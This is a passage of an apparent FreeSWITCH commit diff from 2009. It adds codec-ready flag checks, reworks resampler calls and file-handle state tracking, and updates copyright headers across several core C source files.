+	if (!codec || !codec->implementation || !switch_core_codec_ready(codec)) {
 		if (session->video_write_codec) {
 			session->video_write_codec = NULL;
         	status = SWITCH_STATUS_SUCCESS;
@@ -437,15 +437,17 @@
 		return SWITCH_STATUS_GENERR;
 	}
 
-	if (!strcasecmp(codec_name, "ilbc") && mode && strncasecmp(mode, "mode=", 5)) {
+	if (!strcasecmp(codec_name, "ilbc") && mode && !strncasecmp(mode, "mode=", 5)) {
 		int mms;
 		mode += 5;
 		if (mode) {
 			mms = atoi(mode);
-			if (mms > 0 && mms < 120) {
+			if (mms == 20 || mms == 30) {
 				ms = mms;
 			}
 		}
+	} else if (!strcasecmp(codec_name, "ilbc")) {
+		ms = 30;
 	}
 
 	/* If no specific codec interval is requested opt for 20ms above all else because lots of stuff assumes it */
@@ -491,7 +493,7 @@
 
 		implementation->init(codec, flags, codec_settings);
 		switch_mutex_init(&codec->mutex, SWITCH_MUTEX_NESTED, codec->memory_pool);
-		
+		switch_set_flag(codec, SWITCH_CODEC_FLAG_READY);
 		return SWITCH_STATUS_SUCCESS;
 	} else {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Codec %s Exists but not at the desired implementation. %dhz %dms\n", codec_name, rate,
@@ -516,7 +518,7 @@
 	switch_assert(encoded_data != NULL);
 	switch_assert(decoded_data != NULL);
 
-	if (!codec->implementation) {
+	if (!codec->implementation || !switch_core_codec_ready(codec)) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Codec is not initialized!\n");
 		return SWITCH_STATUS_NOT_INITALIZED;
 	}
@@ -548,7 +550,7 @@
 	switch_assert(encoded_data != NULL);
 	switch_assert(decoded_data != NULL);
 
-	if (!codec->implementation) {
+	if (!codec->implementation || !switch_core_codec_ready(codec)) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Codec is not initialized!\n");
 		return SWITCH_STATUS_NOT_INITALIZED;
 	}
@@ -574,7 +576,7 @@
 	
 	switch_assert(codec != NULL);	
 	
-	if (!codec->implementation) {
+	if (!codec->implementation || !switch_core_codec_ready(codec)) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Codec is not initialized!\n");
 		return SWITCH_STATUS_NOT_INITALIZED;
 	}
@@ -589,11 +591,10 @@
 	if (mutex) switch_mutex_lock(mutex);
 
 	codec->implementation->destroy(codec);
+	switch_clear_flag(codec, SWITCH_CODEC_FLAG_READY);
 
 	UNPROTECT_INTERFACE(codec->codec_interface);
 
-	memset(codec, 0, sizeof(*codec));
-	
 	if (mutex) switch_mutex_unlock(mutex);
 
 	if (free_pool) {

Modified: freeswitch/branches/seven/src/switch_core_db.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_core_db.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_core_db.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -57,7 +57,15 @@
 
 SWITCH_DECLARE(const unsigned char *) switch_core_db_column_text(switch_core_db_stmt_t *stmt, int iCol)
 {
-	return sqlite3_column_text(stmt, iCol);
+    const unsigned char *txt = sqlite3_column_text(stmt, iCol);
+
+    if (!strcasecmp((char *)stmt, "(null)")) {
+		memset(stmt, 0, 1);
+		txt = NULL;
+    }
+
+    return txt;
+
 }
 
 SWITCH_DECLARE(const char *) switch_core_db_column_name(switch_core_db_stmt_t *stmt, int N)
@@ -180,6 +188,12 @@
 	return z;
 }
 
+SWITCH_DECLARE(char *) switch_vmprintf(const char *zFormat, va_list ap)
+{
+
+	return sqlite3_vmprintf(zFormat, ap);
+}
+
 SWITCH_DECLARE(switch_core_db_t *) switch_core_db_open_file(char *filename)
 {
 	switch_core_db_t *db;

Modified: freeswitch/branches/seven/src/switch_core_directory.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_core_directory.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_core_directory.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael Jerris <mike@jerris.com>
  * Paul D. Tinsley <pdt at jackhammer.org>
  *

Modified: freeswitch/branches/seven/src/switch_core_event_hook.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_core_event_hook.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_core_event_hook.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  * switch_core_event_hook.c Core Event Hooks
  *

Modified: freeswitch/branches/seven/src/switch_core_file.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_core_file.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_core_file.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,15 +17,16 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael Jerris <mike@jerris.com>
  * Paul D. Tinsley <pdt at jackhammer.org>
+ * John Wehle <john@feith.com>
  *
  *
  * switch_core_file.c -- Main Core Library (File I/O Functions)
@@ -45,6 +46,11 @@
 	char stream_name[128] = "";
 	char *rhs = NULL;
 
+	if (switch_test_flag(fh, SWITCH_FILE_OPEN)) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Handle already open\n");
+		return SWITCH_STATUS_FALSE;
+	}
+
 	if (switch_strlen_zero(file_path)) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid Filename\n");
 		return SWITCH_STATUS_FALSE;
@@ -123,7 +129,7 @@
 		fh->pre_buffer_data = switch_core_alloc(fh->memory_pool, fh->pre_buffer_datalen * fh->channels);
 	}
 
-	if (fh->channels > 1) {
+	if (fh->channels > 1 && (flags & SWITCH_FILE_FLAG_READ)) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "File has %d channels, muxing to mono will occur.\n", fh->channels);
 	}
 
@@ -140,6 +146,10 @@
 	switch_assert(fh != NULL);
 	switch_assert(fh->file_interface != NULL);
 
+	if (!switch_test_flag(fh, SWITCH_FILE_OPEN)) {
+		return SWITCH_STATUS_FALSE;
+	}
+
  top:
 
 	if (fh->buffer && switch_buffer_inuse(fh->buffer) >= *len * 2) {
@@ -168,6 +178,7 @@
 				if ((status = fh->file_interface->file_read(fh, fh->pre_buffer_data, &rlen)) != SWITCH_STATUS_SUCCESS || !rlen) {
 					switch_set_flag(fh, SWITCH_FILE_BUFFER_DONE);
 				} else {
+					fh->samples_in += rlen;
 					if (fh->channels > 1) {
 						switch_mux_channels((int16_t *)fh->pre_buffer_data, rlen, fh->channels);
 					}
@@ -193,6 +204,8 @@
 			goto top;
 		}
 
+		fh->samples_in += *len;
+
 		if (fh->channels > 1) {
 			switch_mux_channels((int16_t *)data, *len, fh->channels);
 		}
@@ -205,16 +218,14 @@
 	if (!switch_test_flag(fh, SWITCH_FILE_NATIVE) && fh->native_rate != fh->samplerate) {
 		if (!fh->resampler) {
 			if (switch_resample_create(&fh->resampler,
-									   fh->native_rate, orig_len, fh->samplerate, (uint32_t) orig_len, fh->memory_pool) != SWITCH_STATUS_SUCCESS) {
+									   fh->native_rate, fh->samplerate, (uint32_t) orig_len, SWITCH_RESAMPLE_QUALITY, 1) != SWITCH_STATUS_SUCCESS) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Unable to create resampler!\n");
 				return SWITCH_STATUS_GENERR;
 			}
 		}
 
-		fh->resampler->from_len = switch_short_to_float(data, fh->resampler->from, (int) *len);
-		fh->resampler->to_len =
-			switch_resample_process(fh->resampler, fh->resampler->from, fh->resampler->from_len, fh->resampler->to, fh->resampler->to_size, 0);
-
+		switch_resample_process(fh->resampler, data, (uint32_t)*len);
+		
 		if (fh->resampler->to_len < want || fh->resampler->to_len > orig_len) {
 			if (!fh->buffer) {
 				int factor = fh->resampler->to_len * fh->samplerate / 1000;
@@ -222,12 +233,14 @@
 				switch_assert(fh->buffer);
 			}
 			if (!fh->dbuf || fh->dbuflen < fh->resampler->to_len * 2) {
+				void *mem;
 				fh->dbuflen = fh->resampler->to_len * 2;
-				fh->dbuf = switch_core_alloc(fh->memory_pool, fh->dbuflen);
+				mem = realloc(fh->dbuf, fh->dbuflen);
+				switch_assert(mem);
+				fh->dbuf = mem;
 			}
-			switch_assert(fh->resampler->to_len <= fh->dbuflen);
-			
-			switch_float_to_short(fh->resampler->to, (int16_t *) fh->dbuf, fh->resampler->to_len);
+			switch_assert(fh->resampler->to_len * 2 <= fh->dbuflen);
+			memcpy((int16_t *) fh->dbuf, fh->resampler->to, fh->resampler->to_len * 2);
 			switch_buffer_write(fh->buffer, fh->dbuf, fh->resampler->to_len * 2);
 
 			if (switch_buffer_inuse(fh->buffer) < want * 2) {
@@ -236,7 +249,7 @@
 			}
 			*len = switch_buffer_read(fh->buffer, data, orig_len * 2) / 2;
 		} else {
-			switch_float_to_short(fh->resampler->to, data, fh->resampler->to_len);
+			memcpy(data, fh->resampler->to, fh->resampler->to_len * 2);
 			*len = fh->resampler->to_len;
 		}
 		
@@ -253,6 +266,10 @@
 	switch_assert(fh != NULL);
 	switch_assert(fh->file_interface != NULL);
 
+	if (!switch_test_flag(fh, SWITCH_FILE_OPEN)) {
+		return SWITCH_STATUS_FALSE;
+	}
+
 	if (!fh->file_interface->file_write) {
 		return SWITCH_STATUS_FALSE;
 	}
@@ -261,32 +278,32 @@
 		if (!fh->resampler) {
 			if (switch_resample_create(&fh->resampler,
 									   fh->native_rate, 
-									   orig_len * fh->channels, 
 									   fh->samplerate, 
-									   (uint32_t) orig_len *fh->channels, 
-									   fh->memory_pool) != SWITCH_STATUS_SUCCESS) {
+									   (uint32_t) orig_len * 2 * fh->channels, 
+									   SWITCH_RESAMPLE_QUALITY, fh->channels) != SWITCH_STATUS_SUCCESS) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Unable to create resampler!\n");
 				return SWITCH_STATUS_GENERR;
 			}
 		}
 
-		fh->resampler->from_len = switch_short_to_float(data, fh->resampler->from, (int) *len * fh->channels);
-		fh->resampler->to_len =
-			switch_resample_process(fh->resampler, fh->resampler->from, fh->resampler->from_len, fh->resampler->to, fh->resampler->to_size, 0);
-		if (fh->resampler->to_len > orig_len * fh->channels) {
+		switch_resample_process(fh->resampler, data, (uint32_t)*len);
+		
+		if (fh->resampler->to_len > orig_len) {
 			if (!fh->dbuf) {
-				fh->dbuflen = fh->resampler->to_len * 2;
-				fh->dbuf = switch_core_alloc(fh->memory_pool, fh->dbuflen);
+				void *mem;
+				fh->dbuflen = fh->resampler->to_len * 2 * fh->channels;
+				mem = realloc(fh->dbuf, fh->dbuflen);
+				switch_assert(mem);
+				fh->dbuf = mem;
 			}
-			switch_assert(fh->resampler->to_len <= fh->dbuflen);
-			switch_float_to_short(fh->resampler->to, (int16_t *) fh->dbuf, fh->resampler->to_len);
+			switch_assert(fh->resampler->to_len * 2 <= fh->dbuflen);
+			memcpy(fh->dbuf, fh->resampler->to, fh->resampler->to_len * 2 * fh->channels);
 			data = fh->dbuf;
 		} else {
-			switch_float_to_short(fh->resampler->to, data, fh->resampler->to_len);
+			memcpy(data, fh->resampler->to, fh->resampler->to_len * 2 * fh->channels);
 		}
 
-		*len = fh->resampler->to_len / fh->channels;
-
+		*len = fh->resampler->to_len;
 	}
 
 	if (!*len) {
@@ -303,31 +320,56 @@
 
 		rlen = switch_buffer_inuse(fh->pre_buffer);
 		if (rlen >= fh->pre_buffer_datalen) {
-			blen = switch_buffer_read(fh->pre_buffer, fh->pre_buffer_data, fh->pre_buffer_datalen);
-			if (!asis) blen /= 2;
-			if (fh->channels) blen /= fh->channels;
-			if ((status = fh->file_interface->file_write(fh, fh->pre_buffer_data, &blen)) != SWITCH_STATUS_SUCCESS) {
-				*len = 0;
+			if ((blen = switch_buffer_read(fh->pre_buffer, fh->pre_buffer_data, fh->pre_buffer_datalen))) {
+				if (!asis) blen /= 2;
+				if (fh->channels > 1) blen /= fh->channels;
+				if ((status = fh->file_interface->file_write(fh, fh->pre_buffer_data, &blen)) != SWITCH_STATUS_SUCCESS) {
+					*len = 0;
+				}
+				fh->samples_out += blen;
 			}
 		}
 		
 		return status;
 	} else {
-		return fh->file_interface->file_write(fh, data, len);
+		switch_status_t status;
+		if ((status = fh->file_interface->file_write(fh, data, len)) == SWITCH_STATUS_SUCCESS) {
+			fh->samples_out += *len;
+		}
+		return status;
 	}
 }
 
 SWITCH_DECLARE(switch_status_t) switch_core_file_seek(switch_file_handle_t *fh, unsigned int *cur_pos, int64_t samples, int whence)
 {
+	size_t bytes = 0;
 	switch_status_t status;
 
 	switch_assert(fh != NULL);
 	switch_assert(fh->file_interface != NULL);
 
+	if (!switch_test_flag(fh, SWITCH_FILE_OPEN) || !switch_test_flag(fh, SWITCH_FILE_FLAG_READ)) {
+		return SWITCH_STATUS_FALSE;
+	}
+
 	if (!fh->file_interface->file_seek) {
 		return SWITCH_STATUS_FALSE;
 	}
 
+	if (fh->buffer) {
+		bytes += switch_buffer_inuse(fh->buffer);
+		switch_buffer_zero(fh->buffer);
+	}
+
+	if (fh->pre_buffer) {
+		bytes += switch_buffer_inuse(fh->pre_buffer);
+		switch_buffer_zero(fh->pre_buffer);
+	}
+
+	if (whence == SWITCH_SEEK_CUR) {
+		samples -= bytes / sizeof(int16_t);
+	}
+
 	switch_set_flag(fh, SWITCH_FILE_SEEK);
 	status = fh->file_interface->file_seek(fh, cur_pos, samples, whence);
 	if (samples) {
@@ -341,6 +383,10 @@
 	switch_assert(fh != NULL);
 	switch_assert(fh->file_interface != NULL);
 
+	if (!switch_test_flag(fh, SWITCH_FILE_OPEN)) {
+		return SWITCH_STATUS_FALSE;
+	}
+
 	if (!fh->file_interface->file_set_string) {
 		return SWITCH_STATUS_FALSE;
 	}
@@ -353,6 +399,10 @@
 	switch_assert(fh != NULL);
 	switch_assert(fh->file_interface != NULL);
 
+	if (!switch_test_flag(fh, SWITCH_FILE_OPEN)) {
+		return SWITCH_STATUS_FALSE;
+	}
+
 	if (!fh->file_interface->file_get_string) {
 		return SWITCH_STATUS_FALSE;
 	}
@@ -381,11 +431,12 @@
 			int asis = switch_test_flag(fh, SWITCH_FILE_NATIVE);
 
 			while((rlen = switch_buffer_inuse(fh->pre_buffer))) {
-				blen = switch_buffer_read(fh->pre_buffer, fh->pre_buffer_data, fh->pre_buffer_datalen);
-				if (asis) blen /= 2;
-				if (fh->channels) blen /= fh->channels;
-				if (fh->file_interface->file_write(fh, fh->pre_buffer_data, &blen) != SWITCH_STATUS_SUCCESS) {
-					break;
+				if ((blen = switch_buffer_read(fh->pre_buffer, fh->pre_buffer_data, fh->pre_buffer_datalen))) {
+					if (!asis) blen /= 2;
+					if (fh->channels > 1) blen /= fh->channels;
+					if (fh->file_interface->file_write(fh, fh->pre_buffer_data, &blen) != SWITCH_STATUS_SUCCESS) {
+						break;
+					}
 				}
 			}
 		}
@@ -404,6 +455,9 @@
 		switch_core_destroy_memory_pool(&fh->memory_pool);
 	}
 
+	switch_safe_free(fh->dbuf);
+
+
 	return status;
 }
 

Modified: freeswitch/branches/seven/src/switch_core_hash.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_core_hash.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_core_hash.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael Jerris <mike@jerris.com>
  * Paul D. Tinsley <pdt at jackhammer.org>
  *

Modified: freeswitch/branches/seven/src/switch_core_io.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_core_io.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_core_io.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael Jerris <mike@jerris.com>
  * Paul D. Tinsley <pdt at jackhammer.org>
  *
@@ -41,7 +41,7 @@
 	switch_io_event_hook_video_write_frame_t *ptr;
 	switch_status_t status = SWITCH_STATUS_FALSE;
 
-	if (switch_channel_get_state(session->channel) >= CS_HANGUP) {
+	if (switch_channel_down(session->channel)) {
 		return SWITCH_STATUS_FALSE;
 	}
 
@@ -65,7 +65,7 @@
 
 	switch_assert(session != NULL);
 
-	if (switch_channel_get_state(session->channel) >= CS_HANGUP) {
+	if (switch_channel_down(session->channel)) {
 		return SWITCH_STATUS_FALSE;
 	}
 
@@ -106,10 +106,11 @@
 	switch_status_t status = SWITCH_STATUS_FALSE;
 	int need_codec, perfect, do_bugs = 0, do_resample = 0, is_cng = 0;
 	unsigned int flag = 0;
+	switch_codec_implementation_t codec_impl;
 
 	switch_assert(session != NULL);
 
-	if (!(session->read_codec && session->read_codec->implementation)) {
+	if (!(session->read_codec && session->read_codec->implementation && switch_core_codec_ready(session->read_codec))) {
 		if (switch_channel_test_flag(session->channel, CF_PROXY_MODE) || switch_channel_get_state(session->channel) == CS_HIBERNATE) {
 			*frame = &runtime.dummy_cng_frame;
 			return SWITCH_STATUS_SUCCESS;
@@ -123,7 +124,7 @@
 
   top:
 
-	if (switch_channel_get_state(session->channel) >= CS_HANGUP) {
+	if (switch_channel_down(session->channel)) {
 		*frame = NULL;
 		status = SWITCH_STATUS_FALSE; goto even_more_done;
 	}
@@ -201,21 +202,18 @@
 
 	switch_assert((*frame)->codec != NULL);
 
-
-	if (((*frame)->codec && session->read_codec->implementation != (*frame)->codec->implementation)) {
-		need_codec = TRUE;
+	if (!(session->read_codec && (*frame)->codec && (*frame)->codec->implementation) && switch_core_codec_ready((*frame)->codec)) {
+		status = SWITCH_STATUS_FALSE;
+		goto done;
 	}
 
-	if (session->read_codec && !(*frame)->codec) {
+	codec_impl = *(*frame)->codec->implementation;
+
+	if (session->read_codec->implementation->impl_id != codec_impl.impl_id) {
 		need_codec = TRUE;
 	}
 
-	if (!session->read_codec && (*frame)->codec) {
-		status = SWITCH_STATUS_FALSE;
-		goto done;
-	}
-
-	if ((*frame)->codec->implementation->actual_samples_per_second != session->read_impl.actual_samples_per_second) {
+	if (codec_impl.actual_samples_per_second != session->read_impl.actual_samples_per_second) {
 		do_resample = 1;
 	}
 
@@ -247,8 +245,8 @@
 			} else {
 				switch_codec_t *use_codec = read_frame->codec;
 				if (do_bugs) {
-					if (!session->bug_codec.implementation) {
-						switch_core_codec_copy(read_frame->codec, &session->bug_codec, switch_core_session_get_pool(session));
+					if (!switch_core_codec_ready(&session->bug_codec)) {
+						switch_core_codec_copy(read_frame->codec, &session->bug_codec, NULL);
 					}
 					use_codec = &session->bug_codec;
 				}
@@ -271,9 +269,10 @@
 					switch_mutex_lock(session->resample_mutex);
 					status = switch_resample_create(&session->read_resampler,
 													read_frame->codec->implementation->actual_samples_per_second,
-													read_frame->codec->implementation->decoded_bytes_per_packet,
-													session->read_impl.actual_samples_per_second,
-													session->read_impl.decoded_bytes_per_packet, session->pool);
+													session->read_impl.actual_samples_per_second, 
+													session->read_impl.decoded_bytes_per_packet,
+													SWITCH_RESAMPLE_QUALITY, 1);
+					
 					switch_mutex_unlock(session->resample_mutex);
 
 					if (status != SWITCH_STATUS_SUCCESS) {
@@ -328,7 +327,7 @@
 			}
 		}
 
-		if (session->bugs) {
+		if (session->bugs && !switch_channel_test_flag(session->channel, CF_PAUSE_BUGS)) {
 			switch_media_bug_t *bp, *dp, *last = NULL;
 			switch_bool_t ok = SWITCH_TRUE;
 			switch_thread_rwlock_rdlock(session->bug_rwlock);
@@ -353,7 +352,7 @@
 					}
 				}
 				
-				if (bp->stop_time && bp->stop_time <= switch_timestamp(NULL)) {
+				if (bp->stop_time && bp->stop_time <= switch_epoch_time_now(NULL)) {
 					ok = SWITCH_FALSE;
 				}
 
@@ -385,15 +384,11 @@
 			if (session->read_resampler) {
 				short *data = read_frame->data;
 				switch_mutex_lock(session->resample_mutex);
-
-				session->read_resampler->from_len = switch_short_to_float(data, session->read_resampler->from, (int) read_frame->datalen / 2);
-				session->read_resampler->to_len =
-					switch_resample_process(session->read_resampler, session->read_resampler->from,
-											session->read_resampler->from_len, session->read_resampler->to, session->read_resampler->to_size, 0);
-				switch_float_to_short(session->read_resampler->to, data, read_frame->datalen);
+				switch_resample_process(session->read_resampler, data, (int)read_frame->datalen / 2);
+				memcpy(data, session->read_resampler->to, session->read_resampler->to_len * 2);
 				read_frame->samples = session->read_resampler->to_len;
-				read_frame->datalen = session->read_resampler->to_len * 2;
-				read_frame->rate = session->read_resampler->to_rate;
+                read_frame->datalen = session->read_resampler->to_len * 2;
+                read_frame->rate = session->read_resampler->to_rate;
 				switch_mutex_unlock(session->resample_mutex);
 
 			}
@@ -493,7 +488,7 @@
 		if (flag & SFF_CNG) {
 			switch_set_flag((*frame), SFF_CNG);
 		}
-		if (session->bugs) {
+		if (session->bugs && !switch_channel_test_flag(session->channel, CF_PAUSE_BUGS)) {
 			switch_media_bug_t *bp, *dp, *last = NULL;
 			switch_bool_t ok = SWITCH_TRUE;
 			switch_thread_rwlock_rdlock(session->bug_rwlock);
@@ -502,7 +497,7 @@
 					switch_mutex_lock(bp->read_mutex);
 					if (bp->callback) {
 						if (bp->callback(bp, bp->user_data, SWITCH_ABC_TYPE_READ_PING) == SWITCH_FALSE
-							|| (bp->stop_time && bp->stop_time <= switch_timestamp(NULL))) {
+							|| (bp->stop_time && bp->stop_time <= switch_epoch_time_now(NULL))) {
 							ok = SWITCH_FALSE;
 						}
 					}
@@ -532,7 +527,7 @@
 
   even_more_done:
 
-	if (!*frame || !(*frame)->codec || !(*frame)->codec->implementation) {
+	if (!*frame || !(*frame)->codec || !(*frame)->codec->implementation || !switch_core_codec_ready((*frame)->codec)) {
 		*frame = &runtime.dummy_cng_frame;
 	}
 
@@ -568,7 +563,8 @@
 	switch_status_t status = SWITCH_STATUS_FALSE;
 	switch_frame_t *enc_frame = NULL, *write_frame = frame;
 	unsigned int flag = 0, need_codec = 0, perfect = 0, do_bugs = 0, do_write = 0, do_resample = 0, ptime_mismatch = 0, pass_cng = 0, resample = 0;
-	
+	int did_write_resample = 0;
+
 	switch_assert(session != NULL);
 	switch_assert(frame != NULL);
 
@@ -583,7 +579,7 @@
 		return SWITCH_STATUS_SUCCESS;
 	}
 	
-	if (!(session->write_codec && session->write_codec->implementation) && !pass_cng) {
+	if (!(session->write_codec && switch_core_codec_ready(session->write_codec)) && !pass_cng) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "%s has no write codec.\n", switch_channel_get_name(session->channel));
 		return SWITCH_STATUS_FALSE;
 	}
@@ -614,9 +610,9 @@
 	switch_mutex_lock(session->write_codec->mutex);
 	switch_mutex_lock(frame->codec->mutex);
 	
-
 	if ((session->write_codec && frame->codec && session->write_codec->implementation != frame->codec->implementation)) {
-		if (session->write_impl.microseconds_per_packet != frame->codec->implementation->microseconds_per_packet) {
+		if (session->write_impl.codec_id == frame->codec->implementation->codec_id || 
+			session->write_impl.microseconds_per_packet != frame->codec->implementation->microseconds_per_packet) {
 			ptime_mismatch = TRUE;
 			if (switch_test_flag(frame->codec, SWITCH_CODEC_FLAG_PASSTHROUGH) || switch_test_flag(session->read_codec, SWITCH_CODEC_FLAG_PASSTHROUGH)) {
 				status = perform_write(session, frame, flags, stream_id);
@@ -662,10 +658,10 @@
 										  frame->datalen,
 										  session->write_impl.actual_samples_per_second,
 										  session->raw_write_frame.data, &session->raw_write_frame.datalen, &session->raw_write_frame.rate, &flag);
+		
+		
+		
 
-
-
-
 		if (do_resample && status == SWITCH_STATUS_SUCCESS) {
 			status = SWITCH_STATUS_RESAMPLE;
 		}
@@ -674,13 +670,16 @@
 		case SWITCH_STATUS_RESAMPLE:
 			resample++;
 			write_frame = &session->raw_write_frame;
+			write_frame->rate = frame->codec->implementation->actual_samples_per_second;
 			if (!session->write_resampler) {
 				switch_mutex_lock(session->resample_mutex);
 				status = switch_resample_create(&session->write_resampler,
 												frame->codec->implementation->actual_samples_per_second,
-												frame->codec->implementation->decoded_bytes_per_packet,
-												session->write_impl.actual_samples_per_second,
-												session->write_impl.decoded_bytes_per_packet, session->pool);
+												session->write_impl.actual_samples_per_second, 
+												session->write_impl.decoded_bytes_per_packet,
+												SWITCH_RESAMPLE_QUALITY, 1);
+												
+				
 				switch_mutex_unlock(session->resample_mutex);
 				if (status != SWITCH_STATUS_SUCCESS) {
 					goto done;
@@ -724,29 +723,34 @@
 		}
 	}
 
+	
+
 	if (session->write_resampler) {
 		short *data = write_frame->data;
 
 		switch_mutex_lock(session->resample_mutex);
-
-		session->write_resampler->from_len = write_frame->datalen / 2;
-		switch_short_to_float(data, session->write_resampler->from, session->write_resampler->from_len);
-
-		session->write_resampler->to_len = (uint32_t)
-			switch_resample_process(session->write_resampler, session->write_resampler->from,
-									session->write_resampler->from_len, session->write_resampler->to, session->write_resampler->to_size, 0);
-
-		switch_float_to_short(session->write_resampler->to, data, session->write_resampler->to_len);
-
-		write_frame->samples = session->write_resampler->to_len;
-		write_frame->datalen = write_frame->samples * 2;
-		write_frame->rate = session->write_resampler->to_rate;
+		if (session->write_resampler) {
+			
+			switch_resample_process(session->write_resampler, data, write_frame->datalen / 2);
+			
+			memcpy(data, session->write_resampler->to, session->write_resampler->to_len * 2);
+			
+			write_frame->samples = session->write_resampler->to_len;
+			
+			write_frame->datalen = write_frame->samples * 2;
+			
+			write_frame->rate = session->write_resampler->to_rate;
+			
+			did_write_resample = 1;
+		}
 		switch_mutex_unlock(session->resample_mutex);
 	}
 
-	if (session->bugs) {
+	
+
+	if (session->bugs && !switch_channel_test_flag(session->channel, CF_PAUSE_BUGS)) {
 		switch_media_bug_t *bp, *dp, *last = NULL;
-
+		
